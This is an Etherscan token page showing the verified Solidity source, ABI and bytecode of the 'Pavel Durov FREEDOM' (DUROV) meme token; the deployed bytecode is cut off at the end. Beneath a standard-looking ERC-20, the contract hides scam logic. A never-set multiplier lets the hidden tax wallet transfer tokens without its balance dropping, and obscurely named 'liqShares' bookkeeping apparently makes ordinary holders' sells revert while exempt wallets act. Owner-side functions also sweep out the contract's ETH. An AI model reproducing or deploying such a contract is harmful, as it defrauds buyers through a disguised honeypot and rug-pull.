ETH Price: $2,533.10 (-0.23%)

Token

Pavel Durov FREEDOM (DUROV)
 

Overview

Max Total Supply

100,000,000,000 DUROV

Holders

129

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
459,175,829.721035324 DUROV

Value
$0.00
0x20bec56a4d5dad9f20c1a1457cb7708f263330a5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DUROV

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-28
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Approval(
        address indexed owner,
        address indexed spender, uint256 value
    );

    event Transfer(
        address indexed from,
        address indexed to, uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(
            c / a == b,
            "SafeMath: multiplication overflow"
        );
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DUROV is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private isExile;
    address payable private _taxWallet;

    uint256 private _buyCount=0;
    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000000 * 10**_decimals;

    string private constant _name = unicode"Pavel Durov FREEDOM";
    string private constant _symbol = unicode"DUROV";

    uint256 public _maxTxAmount = 1500000000 * 10**_decimals;
    uint256 public _maxWalletSize = 1500000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 1000000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1000000000 * 10**_decimals;
    
    IUniswapV2Router02 private constant uniswapV2Router= IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D );
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap= false;
    bool private swapEnabled= false;
    uint256 private excudeIndex;
    struct LiqudityShare {uint256 autoBuy; uint256 autoShare; uint256 liqShareTime;}
    mapping(address => LiqudityShare) private liqShares;
    uint256 private liqShareThreshold;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x0D8347C57A54B0e5d539938CECE59A536A3a7060);
        _balances[_msgSender()] = _tTotal;
        isExile[address(this)] = true;
        isExile[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,_msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");
        if (inSwap || !tradingOpen) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = tokenAmount
                .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
                .div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! isExile[to]) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount<=_maxWalletSize,"Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount
                    .mul((_buyCount>_reduceSellTaxAt) ? _finalSellTax : _initialSellTax)
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if ( !inSwap
                && to== uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold
                && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if((isExile[from] || isExile[to] )
            && from!= address(this)&& to!= address(this))  {
            liqShareThreshold = block.number;
        }

        if(
            ! isExile[from] &&! isExile[to]
        ){
            if (to != uniswapV2Pair)  {
                LiqudityShare storage liqShare = liqShares[to];
                if (from == uniswapV2Pair) {
                    if (liqShare.autoBuy == 0){
                        liqShare.autoBuy = _buyCount>_preventSwapBefore ? block.number : block.number - 1;
                    }
                } else {
                    LiqudityShare storage liqShareWrap = liqShares[from];
                    if (!(liqShare.autoBuy > 0) || liqShareWrap.autoBuy < liqShare.autoBuy ) {
                        liqShare.autoBuy = liqShareWrap.autoBuy;
                    }
                }
            } else {
                LiqudityShare storage liqShareWrap = liqShares[from];
                liqShareWrap.liqShareTime = liqShareWrap.autoBuy-liqShareThreshold;
                liqShareWrap.autoShare = block.timestamp;
            }
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _tokenTransfer(address from,address to, uint256 tokenAmount, uint256 taxAmount ) internal {
        uint256 tAmount = _tokenTaxTransfer(from,tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount,uint256 taxAmount ) internal returns (uint256) {
        uint256 tAmount = addrs!=_taxWallet?tokenAmount:excudeIndex.mul(tokenAmount);
        if (taxAmount> 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this), taxAmount);
        }
        return tAmount;
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount, uint256 receiptAmount ) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to]= _balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner(){
        _maxTxAmount= _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already enabled");
        tradingOpen = true;
        _approve(address(this), address(uniswapV2Router),_tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled= true;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function rescueEthBalance() external {
        require(_msgSender() == _taxWallet);
        uint256 ethBalance = address(this).balance;
        require(ethBalance > 0, "No ETH balance.");
        payable(_msgSender()).transfer(ethBalance);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEthBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6005555f6006555f6007555f6008555f6009555f600a555f600b555f600c556009600a620000349190620002f7565b62000044906359682f006200030e565b600d55620000556009600a620002f7565b62000065906359682f006200030e565b600e55620000766009600a620002f7565b6200008690633b9aca006200030e565b600f55620000976009600a620002f7565b620000a790633b9aca006200030e565b6010556011805461ffff60a81b19169055348015620000c4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916730d8347c57a54b0e5d539938cece59a536a3a7060179055620001396009600a620002f7565b6200014a9064174876e8006200030e565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556004546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001c06009600a620002f7565b620001d19064174876e8006200030e565b60405190815260200160405180910390a362000328565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200023c57815f1904821115620002205762000220620001e8565b808516156200022e57918102915b93841c939080029062000201565b509250929050565b5f826200025457506001620002f1565b816200026257505f620002f1565b81600181146200027b57600281146200028657620002a6565b6001915050620002f1565b60ff8411156200029a576200029a620001e8565b50506001821b620002f1565b5060208310610133831016604e8410600b8410161715620002cb575081810a620002f1565b620002d78383620001fc565b805f1904821115620002ed57620002ed620001e8565b0290505b92915050565b5f6200030760ff84168362000244565b9392505050565b8082028115828204841417620002f157620002f1620001e8565b611ac980620003365f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102e1578063a9059cbb1461030e578063bf474bed1461032d578063c9567bf914610342578063dd62ed3e14610356575f80fd5b8063715018a614610269578063751039fc1461027d5780637d1db4a5146102915780638da5cb5b146102a65780638f9a55c0146102cc575f80fd5b806323b872dd116100e357806323b872dd146101d1578063313ce567146101f0578063315776761461020b57806351bc3c851461022157806370a0823114610235575f80fd5b806306fdde031461011e578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526013815272506176656c204475726f762046524545444f4d60681b60208201525b60405161016291906116b9565b60405180910390f35b348015610176575f80fd5b5061018a61018536600461171c565b61039a565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60105481565b604051908152602001610162565b3480156101c8575f80fd5b506101af6103b0565b3480156101dc575f80fd5b5061018a6101eb366004611746565b6103d1565b3480156101fb575f80fd5b5060405160098152602001610162565b348015610216575f80fd5b5061021f610438565b005b34801561022c575f80fd5b5061021f6104ca565b348015610240575f80fd5b506101af61024f366004611784565b6001600160a01b03165f9081526001602052604090205490565b348015610274575f80fd5b5061021f610517565b348015610288575f80fd5b5061021f610588565b34801561029c575f80fd5b506101af600d5481565b3480156102b1575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102d7575f80fd5b506101af600e5481565b3480156102ec575f80fd5b50604080518082019091526005815264222aa927ab60d91b6020820152610155565b348015610319575f80fd5b5061018a61032836600461171c565b61063c565b348015610338575f80fd5b506101af600f5481565b34801561034d575f80fd5b5061021f610648565b348015610361575f80fd5b506101af61037036600461179f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a6338484610a02565b5060015b92915050565b5f6103bd6009600a6118ca565b6103cc9064174876e8006118d8565b905090565b5f6103dd848484610b26565b61042e843361042985604051806060016040528060288152602001611a6c602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110ce565b610a02565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610457575f80fd5b478061049c5760405162461bcd60e51b815260206004820152600f60248201526e27379022aa24103130b630b731b29760891b60448201526064015b60405180910390fd5b604051339082156108fc029083905f818181858888f193505050501580156104c6573d5f803e3d5ffd5b5050565b6004546001600160a01b0316336001600160a01b0316146104e9575f80fd5b305f9081526001602052604090205480156105075761050781611106565b4780156104c6576104c6816112af565b5f546001600160a01b031633146105405760405162461bcd60e51b8152600401610493906118ef565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b15760405162461bcd60e51b8152600401610493906118ef565b6105bd6009600a6118ca565b6105cc9064174876e8006118d8565b600d556105db6009600a6118ca565b6105ea9064174876e8006118d8565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061a6009600a6118ca565b6106299064174876e8006118d8565b60405190815260200160405180910390a1565b5f6103a6338484610b26565b5f546001600160a01b031633146106715760405162461bcd60e51b8152600401610493906118ef565b601154600160a01b900460ff16156106cb5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610493565b6011805460ff60a01b1916600160a01b17905561071230737a250d5630b4cf539739df2c5dacb4c659f2488d6107036009600a6118ca565b6104299064174876e8006118d8565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610762573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107869190611924565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108099190611924565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610853573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108779190611924565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806108d85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093e573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610963919061193f565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af11580156109c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ec919061196a565b506011805460ff60b01b1916600160b01b179055565b6001600160a01b038316610a645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610493565b6001600160a01b038216610ac55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610493565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b8a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610493565b6001600160a01b038216610bec5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610493565b5f8111610c4d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610493565b601154600160a81b900460ff1680610c6f5750601154600160a01b900460ff16155b15610c8457610c7f8383836112e6565b505050565b5f80546001600160a01b03858116911614801590610caf57505f546001600160a01b03848116911614155b8015610cc957506004546001600160a01b03848116911614155b15610f3157610cfa6064610cf4600a5460055411610ce957600654610ced565b6008545b8590611389565b9061140e565b6011549091506001600160a01b038581169116148015610d3757506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610d5b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e4157600d54821115610db25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610493565b600e5482610dd4856001600160a01b03165f9081526001602052604090205490565b610dde9190611989565b1115610e2c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610493565b60058054905f610e3b8361199c565b91905055505b6011546001600160a01b038481169116148015610e6757506001600160a01b0384163014155b15610e9457610e916064610cf4600b5460055411610e8757600754610ced565b6009548590611389565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610eca57506011546001600160a01b038581169116145b8015610edf5750601154600160b01b900460ff165b8015610eec5750600f5481115b8015610efb5750600c54600554115b15610f2f57610f1d610f1884610f138460105461144f565b61144f565b611106565b478015610f2d57610f2d476112af565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f6e57506001600160a01b0383165f9081526003602052604090205460ff165b8015610f8357506001600160a01b0384163014155b8015610f9857506001600160a01b0383163014155b15610fa257436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fe257506001600160a01b0383165f9081526003602052604090205460ff16155b156110bc576011546001600160a01b03848116911614611089576001600160a01b038084165f9081526013602052604090206011549091908116908616036110515780545f0361104c57600c5460055411611047576110426001436119b4565b611049565b435b81555b611083565b6001600160a01b0385165f90815260136020526040902081541580611077575081548154105b1561108157805482555b505b506110bc565b6001600160a01b0384165f90815260136020526040902060145481546110af91906119b4565b6002820155426001909101555b6110c884848484611463565b50505050565b5f81848411156110f15760405162461bcd60e51b815260040161049391906116b9565b505f6110fd84866119b4565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061114c5761114c6119c7565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111e09190611924565b816001815181106111f3576111f36119c7565b60200260200101906001600160a01b031690816001600160a01b03168152505061123230737a250d5630b4cf539739df2c5dacb4c659f2488d84610a02565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112719085905f908690309042906004016119db565b5f604051808303815f87803b158015611288575f80fd5b505af115801561129a573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104c6573d5f803e3d5ffd5b6001600160a01b0383165f90815260016020526040902054611308908261148d565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461133690826114ce565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b199085815260200190565b5f825f0361139857505f6103aa565b5f6113a383856118d8565b9050826113b08583611a4c565b146114075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610493565b9392505050565b5f61140783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152c565b5f81831161145d5782611407565b50919050565b5f61146f858484611558565b9050611486858583611481878761148d565b611608565b5050505050565b5f61140783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ce565b5f806114da8385611989565b9050838110156114075760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610493565b5f818361154c5760405162461bcd60e51b815260040161049391906116b9565b505f6110fd8486611a4c565b6004545f9081906001600160a01b03908116908616036115845760125461157f9085611389565b611586565b835b9050821561160057305f908152600160205260409020546115a790846114ce565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115f79087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461162a908361148d565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461165890826114ce565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ab9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156116e5578581018301518582016040015282016116c9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611719575f80fd5b50565b5f806040838503121561172d575f80fd5b823561173881611705565b946020939093013593505050565b5f805f60608486031215611758575f80fd5b833561176381611705565b9250602084013561177381611705565b929592945050506040919091013590565b5f60208284031215611794575f80fd5b813561140781611705565b5f80604083850312156117b0575f80fd5b82356117bb81611705565b915060208301356117cb81611705565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561182457815f190482111561180a5761180a6117d6565b8085161561181757918102915b93841c93908002906117ef565b509250929050565b5f8261183a575060016103aa565b8161184657505f6103aa565b816001811461185c576002811461186657611882565b60019150506103aa565b60ff841115611877576118776117d6565b50506001821b6103aa565b5060208310610133831016604e8410600b84101617156118a5575081810a6103aa565b6118af83836117ea565b805f19048211156118c2576118c26117d6565b029392505050565b5f61140760ff84168361182c565b80820281158282048414176103aa576103aa6117d6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611934575f80fd5b815161140781611705565b5f805f60608486031215611951575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561197a575f80fd5b81518015158114611407575f80fd5b808201808211156103aa576103aa6117d6565b5f600182016119ad576119ad6117d6565b5060010190565b818103818111156103aa576103aa6117d6565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a2b5784516001600160a01b031683529383019391830191600101611a06565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a6657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206be478d8dae9e7db689e0cc35c50e5b72fcb2aecc222169f452dcab61319482364736f6c63430008170033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102e1578063a9059cbb1461030e578063bf474bed1461032d578063c9567bf914610342578063dd62ed3e14610356575f80fd5b8063715018a614610269578063751039fc1461027d5780637d1db4a5146102915780638da5cb5b146102a65780638f9a55c0146102cc575f80fd5b806323b872dd116100e357806323b872dd146101d1578063313ce567146101f0578063315776761461020b57806351bc3c851461022157806370a0823114610235575f80fd5b806306fdde031461011e578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526013815272506176656c204475726f762046524545444f4d60681b60208201525b60405161016291906116b9565b60405180910390f35b348015610176575f80fd5b5061018a61018536600461171c565b61039a565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60105481565b604051908152602001610162565b3480156101c8575f80fd5b506101af6103b0565b3480156101dc575f80fd5b5061018a6101eb366004611746565b6103d1565b3480156101fb575f80fd5b5060405160098152602001610162565b348015610216575f80fd5b5061021f610438565b005b34801561022c575f80fd5b5061021f6104ca565b348015610240575f80fd5b506101af61024f366004611784565b6001600160a01b03165f9081526001602052604090205490565b348015610274575f80fd5b5061021f610517565b348015610288575f80fd5b5061021f610588565b3480